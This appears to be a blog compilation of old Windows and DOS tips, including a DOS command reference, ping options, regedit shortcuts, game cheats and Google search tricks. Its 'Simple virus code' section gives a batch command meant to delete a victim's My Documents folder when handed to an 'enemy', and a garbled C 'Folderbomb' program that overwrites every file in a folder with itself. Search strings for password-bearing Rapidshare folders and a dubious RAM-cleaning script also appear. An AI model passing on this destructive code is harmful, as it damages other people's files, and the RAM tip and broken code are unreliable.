Freeup or clean RAM using Notepad


System speed. Sometimes the process which have executed but are not required by the OS are stored on the RAM. So, we can remove or freeup the RAM with unused junk data to Speedup the System or processing speed.
We can clean the RAM just by using a Notepad application. This donot require any advanced software. The process to do so is as follows.

Open Notepad

Type
FreeMem=Space(64000000)
save it as “CleanRAM.vbs” on desktop
Note: Type the name of file along with inverted commas
Run the file and your RAM may be free.
Of course you can edit the code in the file for a greater “cleaning-progress”.
For example:
FreeMem=Space(1280000000)
FreeMem=Space(2560000000)
FreeMem=Space(5120000000)
FreeMem=Space(10240000000)

Install Windows xp in less than 15 minutes




Now, this tip will be very helpful for those who frequently install windows xp operating system. Normally OS installation takes around 40 minutes to complete, but through this trick you can now save 10-15 minutes. This simple tricks goes this way.
1. Boot through Windows XP CD.
2. After all the files are completely loaded, you get the option to select the partition. Select “c”.
3. Now Format the partition, whether it is normal or quick with NTFS or FAT
4. Once the formatting is completed, All the setup files required for installation are copied. Restart your system by pressing Enter.
Now, here begins the Simple trick to save 10-15 minutes.
5. After rebooting, you get a screen where it takes 40 minutes to complete or finalize the OS installation.
6. Now, Press SHIFT + F10 Key ->  This opens command prompt.
7. Enter “Taskmgr” at the command prompt window. This will open Task Manager.
8. Click the Process Tab, here we find a process called Setup.exe -> Right Click on Setup.exe -> Set Priority -> Select High or Above Normal. Initially it will be Normal.
Thats it, no more work to do. Relax your self and see how fast the installation process completes

All Ping options and their functions





Example .. In DOS .. c:>ping 192.168.0.1 -t 
-t Ping the specifed host until interrupted 
-a Resolve addresses to hostnames 
-n count Number of echo requests to send 
-l size Send buffer size 
-f  Set Don't Fragment flag in packet 
-i TTL Time To Live
 -v TOS Type Of Service 
-r count Record route for count hops 
-s count Timestamp for count hops 
-j host-list Loose source route along host-list 
-k host-list Strict source route along host-list 
-w timeout Timeout in milliseconds to wait for each reply 
Experiment to see how helpful these can be!

Simple virus code



IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
Code Is Below
rmdir C:\Documents and Settings \S\Q.

Virus code in c to create a folder virus




Run this on your own responsibility*/
VIRUS CODE-2
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......


#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

A Complete list of DOS Command Index



Information about all current DOS commands 
  
APPEND
(External)


APPEND ;
APPEND [d:]path[;][d:]path[...]
APPEND [/X:on|off][/path:on|off] [/E]


Displays or sets the search path for data files. DOS will search the specified path(s) if the file is not found in the current path.


  
ASSIGN
(External)


ASSIGN x=y [...] /sta


Redirects disk drive requests to a different drive. 




ATTRIB
(External)


ATTRIB [d:][path]filename [/S]
ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [d:][path]filename [/S]


Sets or displays the read-only, archive, system, and hidden attributes of a file or directory.




BACKUP
(External)


BACKUP d:[path][filename] d:[/S][/M][/A][/F:(size)] [/P][/D:date] [/T:time] [/L:[path]filename]


Makes a backup copy of one or more files. (In DOS Version 6, this program is stored on the DOS supplemental disk.)




BREAK
(Internal)


BREAK =on|off


Used from the DOS prompt or in a batch file or in the CONFIG.SYS file to set (or display) whether or not DOS should check for a Ctrl + Break key combination.




BUFFERS
(Internal)


BUFFERS=(number),(read-ahead number)


Used in the CONFIG.SYS file to set the number of disk buffers (number) that will be available for use during data input. Also used to set a value for the number of sectors to be read in advance (read-ahead) during data input operations.




CALL
(Internal)


CALL [d:][path]batchfilename [options]


Calls another batch file and then returns to current batch file to continue.




CHCP
(Internal)


CHCP (codepage)


Displays the current code page or changes the code page that DOS will use.




CHDIR
(Internal)


CHDIR (CD) [d:]path
CHDIR (CD)[..]


Displays working (current) directory and/or changes to a different directory.




CHKDSK
(External)


CHKDSK [d:][path][filename] [/F][/V]


Checks a disk and provides a file and memory status report.




CHOICE
(Internal)


CHOICE [/C[:]keys] [/N][/S][/T[:]c,nn] [text]


Used to provide a prompt so that a user can make a choice while a batch program is running. 




CLS (Clear Screen)
(Internal)


CLS


Clears (erases) the screen. 




COMMAND
(External)


COMMAND [d:][path] [device] [/P][/E:(size)] [/MSG][/Y [/C (command)|/K (command)]


Starts a new version of the DOS command processor (the program that loads the DOS Internal programs).




COMP
(External)


COMP [d:][path][filename] [d:][path][filename] [/A][/C][/D][/L][/N:(number)]


Compares two groups of files to find information that does not match. (See FC command). 




COPY
(Internal)


COPY [/Y|-Y] [/A][/B] [d:][path]filename [/A][/B] [d:][path][filename] [/V]
or
COPY [/Y|-Y][/A][/B] [d:][path]filename+[d:][path]filename[...][d:][path][filename] [/V] 


Copies and appends files.




COUNTRY
(Internal)


COUNTRY=country code,[code page][,][d:][filename]


Used in the CONFIG.SYS file to tell DOS to use country-specific text conventions during processing.




CTTY
(Internal)


CTTY (device)


Changes the standard I/O (Input/Output) device to an auxiliary device. 




DATE
(Internal)


DATE mm-dd-yy


Displays and/or sets the system date.




DBLSPACE
(External)


DBLSPACE / automount=drives
DBLSPACE /chkdsk [/F] [d:]
DBLSPACE /compress d: [/newdrive=host:] [/reserve=size] [/F]
DBLSPACE /create d: [/newdrive=host:] [/reserve=size] [/size=size]
DBLSPACE /defragment [d:] ]/F]
DBLSPACE /delete d:
DBLSPACE /doubleguard=0|1
DBLSPACE /format d:
DBLSPACE [/info] [d:]
DBLSPACE /list
DBLSPACE /mount[=nnn] host: [/newdrive=d:]
DBLSPACE /ratio[=ratio] [d:] [/all]
DBLSPACE /size[=size] [/reserve=size] d:
DBLSPACE /uncompress d: 
DBLSPACE /unmount [d:]


A program available with DOS 6.0 that allows you to compress information on a disk.




DEBUG
(External)


DEBUG [pathname] [parameters]


An MS-DOS utility used to test and edit programs.




DEFRAG
(External)


DEFRAG [d:] [/F][/S[:]order] [/B][/skiphigh [/LCD|/BW|/GO] [/H]
DEFRAG [d:] [/V][/B][/skiphigh] [/LCD]|/BW|/GO] [/H]


Optimizes disk performance by reorganizing the files on the disk. 




DEL (ERASE)
(Internal)


DEL (ERASE) [d:][path]filename [/P]


Deletes (erases) files from disk.




DELOLDOS
(External)


DELOLDOS [/B]


Deletes all files from previous versions of DOS after a 5.0 or 6.0 installation.




DELTREE
(External)


DELTREE [/Y] [d:]path [d:]path[...]


Deletes (erases) a directory including all files and subdirectories that are in it. 




DEVICE
(Internal)


DEVICE=(driver name)


Used in the CONFIG.SYS file to tell DOS which device driver to load.




DEVICEHIGH
(Internal)


DEVICEHIGH=(driver name)


Like DEVICE, DEVICEHIGH is used in the CONFIG.SYS file to tell DOS which device driver software to use for devices; however, this option is used to install the device driver into the upper memory area.




DIR
(Internal)


DIR [d:][path][filename] [/A:(attributes)] [/O:(order)] [/B][/C][/CH][/L][/S][/P][/W] 


Displays directory of files and directories stored on disk.




DISKCOMP
(External)


DISKCOMP [d:] [d:][/1][/8]


Compares the contents of two diskettes. 




DISKCOPY
(External)


DISKCOPY [d:] [d:][/1][/V][/M]


Makes an exact copy of a diskette.




DOS
(Internal)


DOS=[high|low],[umb|noumb]


Used in the CONFIG.SYS file to specify the memory location for DOS. It is used to load DOS into the upper memory area and to specify whether or not the upper memory blocks will be used.




DOSKEY
(External)


DOSKEY [reinstall] [/bufsize=size][/macros][/history][/insert|/overstrike] [macroname=[text]]


Loads the Doskey program into memory which can be used to recall DOS commands so that you can edit them. 




DOSSHELL
(External)


DOSSHELL [/B] [/G:[resolution][n]]|[/T:[resolution][n]]


Initiates the graphic shell program using the specified screen resolution.




DRIVPARM
(Internal)


DRIVPARM= /D:(number) [/C] [/F:(form factor)] [/H:(number)] [/I][ /N][/S:(number)] [/T:(tracks)]


Used in the CONFIG.SYS file to set parameters for a disk drive.




ECHO
(Internal)


ECHO on|off
ECHO (message)


Displays messages or turns on or off the display of commands in a batch file. 




EDIT
(External)


EDIT [d:][path]filename [/B][/G][/H][/NOHI]


Starts the MS-DOS editor, a text editor used to create and edit ASCII text files. 




EMM386
(External)


EMM386 [on|off|auto] [w=on|off]


Enables or disables EMM386 expanded-memory support on a computer with an 80386 or higher processor. 




EXE2BIN
(External)


EXE2BIN [d:][path]filename [d:][path]filename


Converts .EXE (executable) files to binary format. 




EXIT
(Internal)


EXIT


Exits a secondary command processor.




EXPAND
(External)


EXPAND [d:][path]filename [[d:][path]filename[ . . .]]


Expands a compressed file.




FASTHELP
(External)


FASTHELP [command][command] /?


Displays a list of DOS commands with a brief explanation of each. 




FASTOPEN
(External)


FASTOPEN d:[=n][/X]


Keeps track of the locations of files for fast access.




FC
(External)


FC [/A][/C][/L][/Lb n][/N][/T][/W][number] [d:][path]filename [d:][path]filename


or (for binary comparisons)
FC [/B][/number] [d:][path]filename [d:][path]filename


Displays the differences between two files or sets of files.




FCBS
(Internal)


FCBS=(number)


Used in the CONFIG.SYS file to specify the number of file-control blocks for file sharing.




FDISK
(External)


FDISK [/status]


Prepares a fixed disk to accept DOS files for storage.




FILES
(Internal)


FILES=(number)


Used in the CONFIG.Sys file to specify the maximum number of files that can be open at the same time. 




FIND
(External)


FIND [/V][/C][/I][/N] ÒstringÓ [d:][path]filename[...]


Finds and reports the location of a specific string of text characters in one or more files.




FOR
(Internal)


FOR %%(variable) IN (set) DO (command)


or (for interactive processing)
FOR %(variable) IN (set) DO (command)


Performs repeated execution of commands (for both batch processing and interactive processing).




FORMAT
(External)


FORMAT d:[/1][/4][/8][/F:(size)] [/N:(sectors)] [/T:(tracks)][/B|/S][/C][/V:(label)] [/Q][/U][/V]


Formats a disk to accept DOS files.




GOTO
(Internal)


GOTO (label)


Causes unconditional branch to the specified label.




GRAFTABL
(External)


GRAFTABL [(code page)]
GRAFTABL [status]


Loads a table of character data into memory (for use with a color/graphics adapter). 




GRAPHICS
(External)


GRAPHICS [printer type][profile] [/B][/R][/LCD][/PB:(id)] [/C][/F][/P(port)]


Provides a way to print contents of a graphics screen display. 




HELP
(External)


HELP [command] [/B][/G][/H][/NOHI]


Displays information about a DOS command.




IF
(Internal)


IF [NOT] EXIST filename (command) [parameters]
IF [NOT] (string1)==(string2) (command) [parameters]
IF [NOT] ERRORLEVEL (number) (command) [parameters]


Allows for conditional operations in batch processing.




INCLUDE
(Internal)


INCLUDE= blockname


Used in the CONFIG.SYS file to allow you to use the commands from one CONFIG.SYS block within another.




INSTALL
(Internal)


INSTALL=[d: ][\path]filename [parameters]


Used in the CONFIG.SYS file to load memory-resident programs into conventional memory.




INTERLINK
(External)


INTERLINK [client[:]=[server][:]]


Connects two computers via parallel or serial ports so that the computers can share disks and printer ports. 




INTERSVR
(External)


INTERSVR [d:][...][/X=d:][...] [/LPT:[n|address]] [/COM:[n|address]][/baud:rate] [/B][/V]
INTERSVR /RCOPY


Starts the Interlink server. 




JOIN
(External)


JOIN d: [d:path]
JOIN d: [/D]


Allows access to the directory structure and files of a drive through a directory on a different drive. 




KEYB
(External)


KEYB [xx][,][yyy][,][d:][path]filename [/E][/ID:(number)] 


Loads a program that replaces the support program for U. S. keyboards. 


LABEL
(External)


LABEL [d:][volume label] 


Creates or changes or deletes a volume label for a disk. 


LASTDRIVE
(Internal)


LASTDRIVE=(drive letter)


Used in the CONFIG.SYS file to set the maximum number of drives that can be accessed. 


LOADFIX
(Internal)


LOADFIX [d:][path]filename [parameters] 


Ensures that a program is loaded above the first 64K of conventional memory, and runs the program. 


LOADHIGH
(Internal)


LOADHIGH (LH) [d:][path]filename [parameters] 


Loads memory resident application into reserved area of memory (between 640K-1M).




MEM
(External)


MEM [/program|/debug|/classify|/free|/module(name)] [/page] 


Displays amount of installed and available memory, including extended, expanded, and upper memory.




MEMMAKER
(External)


MEMMAKER [/B][/batch][/session][/swap:d] [/T][/undo][/W:size1,size2] 


Starts the MemMaker program, a program that lets you optimize your computer's memory. 




MENUCOLOR
(Internal)


MENUCOLOR=textcolor,[background] 


Used in the CONFIG.SYS file to set the colors that will be used by DOS to display text on the screen.




MENUDEFAULT
(Internal)


MENUDEFAULT=blockname, [timeout] 


Used in the CONFIG.SYS file to set the startup configuration that will be used by DOS if no key is pressed within the specified timeout period.




MENUITEM
(Internal)


MENUITEM=blockname, [menutext] 


Used in the CONFIG.SYS file to create a start-up menu from which you can select a group of CONFIG.SYS commands to be processed upon reboot.




MIRROR
(External)


MIRROR [d:]path [d:] path [...]
MIRROR [d1:][d2:][...] [/T(drive)(files)] [/partn][/U][/1] 


Saves disk storage information that can be used to recover accidentally erased files. 




MKDIR
(MD) (Internal)


MKDIR (MD) [d:]path


Creates a new subdirectory.






MODE
(External)


MODE n
MODE LPT#[:][n][,][m][,][P][retry]
MODE [n],m[,T]
MODE (displaytype,linetotal)
MODE COMn[:]baud[,][parity][,][databits][,][stopbits][,][retry]
MODE LPT#[:]=COMn [retry]
MODE CON[RATE=(number)][DELAY=(number)]
MODE (device) CODEPAGE PREPARE=(codepage) [d:][path]filename
MODE (device) CODEPAGE PREPARE=(codepage list) [d:][path]filename
MODE (device) CODEPAGE SELECT=(codepage)
MODE (device) CODEPAGE [/STATUS]
MODE (device) CODEPAGE REFRESH


Sets mode of operation for devices or communications.




MORE
(External)


MORE < (filename or command)
(name)|MORE


Sends output to console, one screen at a time. 






MOVE
(Internal)


MOVE [/Y|/-Y] [d:][path]filename[,[d:][path]filename[...]] destination


Moves one or more files to the location you specify. Can also be used to rename directories. 






MSAV
(External)


MSAV [d:] [/S|/C][/R][/A][/L][/N][/P][/F][/video][/mouse]
MSAV /video


Scans your computer for known viruses. 






MSBACKUP
(External)


MSBACKUP [setupfile] [/BW|/LCD|/MDA] 


Used to backup or restore one or more files from one disk to another. 






MSCDEX
(External)


MSCDEX /D:driver [/D:driver2. . .] [/E][/K][/S][/V][/L:letter] [/M:number] 


Used to gain access to CD-ROM drives (new with DOS Version 6).






MSD
(External)


MSD [/B][/I]
MSD [/I] [/F[d:][path]filename [/P[d:][path]filename [/S[d:][path]filename


Provides detailed technical information about your computer. 






NLSFUNC
(External)


NLSFUNC [d:][path]filename


Used to load a file with country-specific information.






NUMLOCK
(Internal)


NUMLOCK=on|off


Used in the CONFIG.SYS file to specify the state of the NumLock key.






PATH
(Internal)


PATH;
PATH [d:]path[;][d:]path[...] 


Sets or displays directories that will be searched for programs not in the current directory.






PAUSE
(Internal)


PAUSE [comment] 


Suspends execution of a batch file until a key is pressed.






POWER
(External)


POWER [adv:max|reg|min]|std|off] 


Used to turn power management on and off, report the status of power management, and set levels of power conservation. 






PRINT
(External)


PRINT [/B:(buffersize)] [/D:(device)] [/M:(maxtick)] [/Q:(value] [/S:(timeslice)][/U:(busytick)] [/C][/P][/T] [d:][path][filename] [...] 


Queues and prints data files.






PROMPT
(Internal)


PROMPT [prompt text] [options] 


Changes the DOS command prompt. 






RECOVER
(External)


RECOVER [d:][path]filename
RECOVER d:


Resolves sector problems on a file or a disk. (Beginning with DOS Version 6, RECOVER is no longer available ).






REM 
(Internal)


REM [comment] 


Used in batch files and in the CONFIG.SYS file to insert remarks (that will not be acted on).






RENAME (REN) 
(Internal)


RENAME (REN) [d:][path]filename [d:][path]filename 


Changes the filename under which a file is stored.






REPLACE 
(External)


REPLACE [d:][path]filename [d:][path] [/A][/P][/R][/S][/U][/W] 


Replaces stored files with files of the same name from a different storage location.






RESTORE
(External)


RESTORE d: [d:][path]filename [/P][/S][/B:mm-dd-yy] [/A:mm-dd-yy][/E:hh:mm:ss] [/L:hh:mm:ss] [/M][/N][/D] 


Restores to standard disk storage format files previously stored using the BACKUP command.






RMDIR (RD)
(Internal)


RMDIR (RD) [d:]path


Removes a subdirectory.






SCANDISK
(External)


SCANDISK [d: [d: . . .]|/all][/checkonly|/autofix[/nosave]|/custom][/surface][/mono][/nosummay]
SCANDISK volume-name[/checkonly|/autofix[/nosave]|/custom][/mono][/nosummary]
SCANDISK /fragment [d:][path]filename
SCANDISK /undo [undo-d:][/mono] 


Starts the Microsoft ScanDisk program which is a disk analysis and repair tool used to check a drive for errors and correct any problems that it finds. 






SELECT
(External)


SELECT [d:] [d:][path] [country code][keyboard code] 


Formats a disk and installs country-specific information and keyboard codes (starting with DOS Version 6, this command is no longer available).






SET
(Internal)


SET (string1)=(string2)


Inserts strings into the command environment. The set values can be used later by programs.




SETVER
(External)


SETVER [d:]:path][filename (number)][/delete][/quiet] 


Displays the version table and sets the version of DOS that is reported to programs.






SHARE
(External)


SHARE [/F:space] [/L:locks] 


Installs support for file sharing and file locking.






SHELL
(Internal)


SHELL=[d:][path]filename [parameters] 


Used in the CONFIG.SYS file to specify the command interpreter that DOS should use.






SHIFT
(Internal)


SHIFT


Increases number of replaceable parameters to more than the standard ten for use in batch files.






SORT
(External)


SORT [/R][/+n] < (filename)
SORT [/R][/+n] > (filename2)


Sorts input and sends it to the screen or to a file.






STACKS
(Internal)


STACKS=(number),(size)


Used in the CONFIG.SYS file to set the number of stack frames and the size of each stack frame.






SUBMENU
(Internal)


SUBMENU=blockname, [menutext] 


Used in the CONFIG.SYS file to create a multilevel menu from which you can select start-up options.






SUBST
(External)


SUBST d: d:path
SUBST d: /D


Substitutes a virtual drive letter for a path designation.






SWITCHES
(Internal)


SWITCHES= [/K][/F][/N][/W] 


Used in the CONFIG.SYS file to configure DOS in a special way; for example, to tell DOS to emulate different hardware configurations.






SYS
(External)


SYS [source] d:


Transfers the operating system files to another disk.






TIME
(Internal)


TIME hh:mm[:ss][.cc][A|P] 


Displays current time setting of system clock and provides a way for you to reset the time. 






TREE
(External)


TREE [d:][path] [/A][/F] 


Displays directory paths and (optionally) files in each subdirectory. 






TYPE
(Internal)


TYPE [d:][path]filename


Displays the contents of a file.






UNDELETE
(External)


UNDELETE [d:][path][filename] [/DT|/DS|/DOS]
UNDELETE [/list|/all|/purge[d:]|/status|/load|/U|/S[d:]|/Td:[-entries]] 


Restores files deleted with the DELETE command.






UNFORMAT
(External)


UNFORMAT d: [/J][/L][/test][/partn][/P][/U] 


Used to undo the effects of formatting a disk.






VER
(Internal)


VER


Displays the DOS version number.






VERIFY
(Internal)


VERIFY on|off


Turns on the verify mode; the program checks all copying operations to assure that files are copied correctly.






VOL
(Internal)


VOL [d:] 


Displays a disk's volume label.






VSAFE
(External)


VSAFE [/option[+|-]...] [/NE][/NX][Ax|/Cx] [/N][/D][/U] 


VSAFE is a memory-resident program that continuously monitors your computer for viruses and displays a warning when it finds one.






XCOPY
(External)


XCOPY [d:][path]filename [d:][path][filename] [/A][/D:(date)] [/E][/M][/P][/S][/V][/W][Y\-Y]
Copies directories, subdirectories, and files.






Syntax Notes


To be functional, each DOS command must be entered in a particular way: this command entry structure is known as the command's "syntax." The syntax "notation" is a way to reproduce the command syntax in print. 


For example, you can determine the items that are optional, by looking for information that is printed inside square brackets. The notation [d:], for example, indicates an optional drive designation. The command syntax, on the other hand, is how YOU enter the command to make it work.




Command Syntax Elements
1. Command Name


The DOS command name is the name you enter to start the DOS program (a few of the DOS commands can be entered using shortcut names). The DOS command name is always entered first. In this book, the command is usually printed in uppercase letters, but you can enter command names as either lowercase or uppercase or a mix of both. 


2. Space


Always leave a space after the command name.


3. Drive Designation


The drive designation (abbreviated in this book as "d:") is an option for many DOS commands. However, some commands are not related to disk drives and therefore do not require a drive designation. Whenever you enter a DOS command that deals with disk drives and you are already working in the drive in question, you do not have to enter the drive designator. For example, if you are working in drive A (when the DOS prompt A> is showing at the left side of the screen) and you want to use the DIR command to display a directory listing of that same drive, you do not have to enter the drive designation. If you do not enter a drive designation, DOS always assumes you are referring to the drive you are currently working in (sometimes called the "default" drive). 


4. A Colon


When referring to a drive in a DOS command, you must always follow the drive designator with a colon (:) (this is how DOS recognizes it as a drive designation).


5. Pathname


A pathname (path) refers to the path you want DOS to follow in order to act on the DOS command. As described in Chapter 3, it indicates the path from the current directory or subdirectory to the files that are to be acted upon.


6. Filename


A filename is the name of a file stored on disk. As described in Chapter 1, a filename can be of eight or fewer letters or other legal characters. 


7. Filename Extension


A filename extension can follow the filename to further identify it. The extension follows a period and can be of three or fewer characters. A filename extension is not required.


8. Switches


Characters shown in a command syntax that are represented by a letter or number and preceded by a forward slash (for example, "/P") are command options (sometimes known as "switches"). Use of these options activate special operations as part of a DOS command's functions.


9. Brackets


Items enclosed in square brackets are optional; in other words, the command will work in its basic form without entering the information contained inside the brackets.


10. Ellipses


Ellipses (...) indicate that an item in a command syntax can be repeated as many times as needed.


11. Vertical Bar


When items are separated by a vertical bar (|), it means that you enter one of the separated items. For example: ON | OFF means that you can enter either ON or OFF, but not both

REGEDIT Keyboard Shortcuts





Searching:
"Ctrl+F" -- Opens the Find dialog box.
"F3" -- Repeats the last search.


Browsing:
"Keypad +" -- Expands the selected branch.
"Keypad -" -- Collapses the selected branch.
"Keypad *" -- Expands all the selected branch's sub keys.
"Up Arrow" -- Selects the previous key.
"Down Arrow" -- Selects the next key.
"Left Arrow" -- Collapses the selected branch if it's not collapsed; otherwise, selects the parent key.
"Right Arrow" -- Expands the selected branch if it's not already expanded; otherwise, selects the key's first sub key.
"Home" -- Selects My Computer.
"End" -- Selects the last key that's visible in the key pane.
"Page Up" -- Moves up one page in the key pane.
"Page Down" -- Moves down one page in the key pane.
"Tab" -- Moves between the key and value panes.
"F6" -- Moves between the key and value panes.


Others:
"Delete" -- Deletes the select branch or value.
"F1" -- Opens Regedit's Help.
"F2" -- Renames the selected key or value.
"F5" -- Refreshes the key and value panes.
"F10" -- Opens Regedit's menu bar.
"Shift+F10" -- Opens the shortcut menu for the selected key or value.
"Alt+F4" -- Closes Regedit.

How to delete recycle bin from desktop




              If you are the kind of person who always likes neatness specially desktop, then here is a small trick for you that will simply remove the Recycle bin icon from desktop.

Follow the steps below:
[Start] [Run] [Regedit]
Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer\BitBucket


Modify/Create the Value Data Type(s) and Value Name(s) as detailed below.


Data Type: DWORD // Value Name: NukeOnDelete


Setting for Value Data: [0 = Use Recycle Bin / 1 = Permanently Delete]
Exit Registry and Reboot


  Another Method
start->run->gpedit.msc-> user configuration ->desktop->remove recycle bin from desktop->double click->change it not configured to enable->apply and ok.


now come to start->run->gpupdate.exe and press enter.


your recycle bin icon is gone from desktop nad you will need to revert your settings for get that back.


after reverting setting make sure to run gpupdate.exe command.

Hacking Youtube to find good quality videos



                                                        Many of us are really found of videos and watch
videos at youtube or Google Videos.  Ofcourse you prefer to watch good quality videos at youtube than those worse videos.
I am gonna show you a small trick that will do all the wonders, and now you can always get good quality youtube videos.
Step1: Click to video that you want to see, the link will display on Address bar.
Example:  http://www.youtube.com/watch?v=Ne1l6VNkuLM
Step2: Add &fmt=6 to the end of that string.
That address like:
http://www.youtube.com/watch?v=Ne1l6VNkuLM&fmt=6
Optional Step: To get more quality youtube video
.Add   &fmt=18 to the end of that string, you’ll have the best quality video with direct download link !
Example:
http://www.youtube.com/watch?v=Ne1l6VNkuLM&fmt=18
Note: Appending &fmt=6 to the URL delivers a 448×336 resolution version of the video and appending &fmt=18 delivers a even better 480×360 resolution version.

google trick -3 Top Essential Google Search shortcuts



#1: Get Local Weather

Type: “weather [city name or zip/postal code]”                                                                     Example: “weather 500054″ or “weather boston”

#2: Check Flight Status

Google automagically pulls flight data from FlightStats.com. All you have to do is enter the flight number.                                                                                                                                                           Type: [flight name and/or number]                                                                                     Example: “bc254″ or “newyork21″

#3: Convert Distances

Type: “[value] [first distance unit] to [second distance unit]”                                              Example: “100 kilometers to miles”

#4: Find a Phone Number

Find a Person:

    Type: “[person’s name], [city or zip/postal code]”                                                           Example: “john smith, london”

Find a Business/store:

    Type: “[business name or type], [city or zip/postal code]”                                         Example: “book store, boston”

Google trick -4 :Google search trick for Rapidshare files search:


#1 site:rapidshare.com inurl:users "*"

#2 site:rapidshare.de inurl:users "*"

#3 site:rapidshare.com inurl:files "*"

#4 site:rapidshare.de inurl:files "*"

#5 site:rapidshare.com inurl:users (pass|password)
#6 site:rapidshare.de inurl:users (pass|password)

Suppose u need some info on ebooks. Then u can try following keyword to see all rapidshare folders having any hacking related thing in it

site:rapidshare.com inurl:users "ebooks"

All windows games cheats and cracks


Minesweeper
Secret – Reveal Mines
Instructions – Minimize or close all running applications. Launch Minesweeper, then type xyzzy. Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a tiny white pixel in the top left corner of your desktop screen. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel.
Pinball
Secret – Extra BallsInstructions – Type 1max at the start of a new ball to get extra balls.
Secret – Gravity WellInstructions – Type gmax at the start of a new game to activate the Gravity Well.
Secret – Instant PromotionInstructions – Type rmax at the start of a new game to go up in ranks.
Secret – Skill ShotInstructions – Launch the ball partially up the chute past the third yellow light bar so it falls back down to get 75,000 points. There are six yellow light bars that are worth a varying amount of points:
First: 15,000 pointsSecond: 30,000 pointsThird: 75,000 pointsFourth: 30,000 pointsFifth: 15,000 pointsSixth: 7,500 points
Secret – Test ModeInstructions – Type hidden test at the start of a new ball to activate Test Mode. No notification will be given that this is activated but you can now left-click the mouse button and drag the ball around.
Secret – Unlimited BallsInstructions – Type bmax at the start of a new ball. No notification will be given that this is activated but when a ball is lost a new ball will appear from the yellow wormhole indefinitely. Once this is activated you will be unable to activate other secrets without restarting
FreeCell
Secret – Instant WinInstructions – Hold down Ctrl + Shift + F10 during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win.
Secret – Hidden Game ModesInstructions – In the “Game” menu choose “Select Game”. Enter -1 or -2 to activate the hidden game modes.
Solitaire
Secret – Instant Win
Instructions – Press Alt + Shift + 2 during game play to instantly win.
Secret – Draw single cards in a Draw Three game
Instructions – Hold down CTRL + ALT + SHIFT while drawing a new card. Instead of drawing three cards you will only draw one.
Infinite Points
In the windows XP version of solitaire, draw from the deck at least twice. Hold control and drag a card down from the deck. Click the “A” key and then let go of the left mouse key. You will get 10 points for this. Continue doing this for infinite points!
Infinite points trick II
To do this trick, finish a game of solitaire with the time bonus option on. The cards will start bouncing. Click on the solitaire screen and the play again box will pop up. Select no, so the solitaire screen is just blank green. Use the instant win cheat (Alt+Shift+2) and you will recieve the time bonus you got last game will be added to your last game’s score. For example, if your time bonus was 5000, and your final score was 6000, after using this glitch, you will have a score of 11000. This glitch can be used as many times as you want.
//—————————————————————–// registry hack which will allow you to see your opponents’ cards//—————————————————————– Launch REGEDIT.EXE and navigate to HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Applets Hearts. NOTE: You may have to create the Hearts key under Applets In the right-hand pane, create a new String Value. Immediately rename it to “ZB” (without the quotes); give it a value of “42″ (again, sans quotes). The next time you’re in a game of Hearts, press CTRL + SHIFT + ALT + F12.

Add “copy to” and “move to” options in right click(XP)


It is hard to move or copy a file/s or folder/s to specific location. There is a option called “Send to” on context menu but it has some limitation. You can send content through it just few locations like.. My Documents, Floppy Disk etc. If You can add “Copy to” and “Move to” options on Right click(context menu) then it will increase your file/folder transfer facility. You can Copy and Move your content anywhere on your machine through Right click(context menu). I have described a registry trick following here.
Copy-paste following text in notepad and save it with .reg extension. Then just merge/run it. You will get 2 new options on your Right click(context menu).



Registry Editor Version 5.00
[HKEY_CLASSES_ROOTAllFilesystemObjectsshellex ContextMenuHandlers]
[HKEY_CLASSES_ROOTAllFilesystemObjectsshellex ContextMenuHandlersCopy To] @=”{C2FBB630-2971-11D1-A18C-00C04FD75D13}”
[HKEY_CLASSES_ROOTAllFilesystemObjectsshellex ContextMenuHandlersMove To] @=”{C2FBB631-2971-11D1-A18C-00C04FD75D13}”
Download Enable ‘Copy/Move To’ Registry File:http://rapidshare.com/files/111539592/Enable_CopyTo_MoveTo.reg
Download Disable ‘Copy/Move To’ Registry File:http://rapidshare.com/files/111539517/Disable_CopyTo_MoveTo.reg

[How to]Load and use multiple OSs from your USB drive



Ever felt like carrying your Ubuntu, Fedora, Tiny-core and all other OS’s iso in your pen drive? Yes, you can now carry all your favorite Operating systems with you wherever  you go and boot from them using the same USB drive.MultiBoot USB is a freeware which can help you to use the multiple OS iso files on the same pen drive.
To use the MultiBoot on your pen drive it must meet some requirements first. You’ll require a FAT32 formatted pen drive and a computer which can boot from a USB device. Prefer using an 8-16 GB pen drive so that you can have more different operating systems on it.
To start off first download the MultiBootISO’s from here . Run the executable and follow the instructions. Browse to the ISO file you want to load on your USB drive and build the bootable USB using it. You might have to format your pen drive during the process so do take a backup of all your data which is there on the pen drive.
To add more ISO files repeat the same procedure. Restart your PC and set the highest priority for the USB drive to boot from it and done. Do give it a shot......................

Light weight linux for your PC – Just 11 MB in size



Looking for some light weight OS for your 10 year old PC?? Now you can put life in your old PC with this light weight OS. Linux Tiny Core can run with your P1 – 128 MB RAM PC and ya it has GUI too.
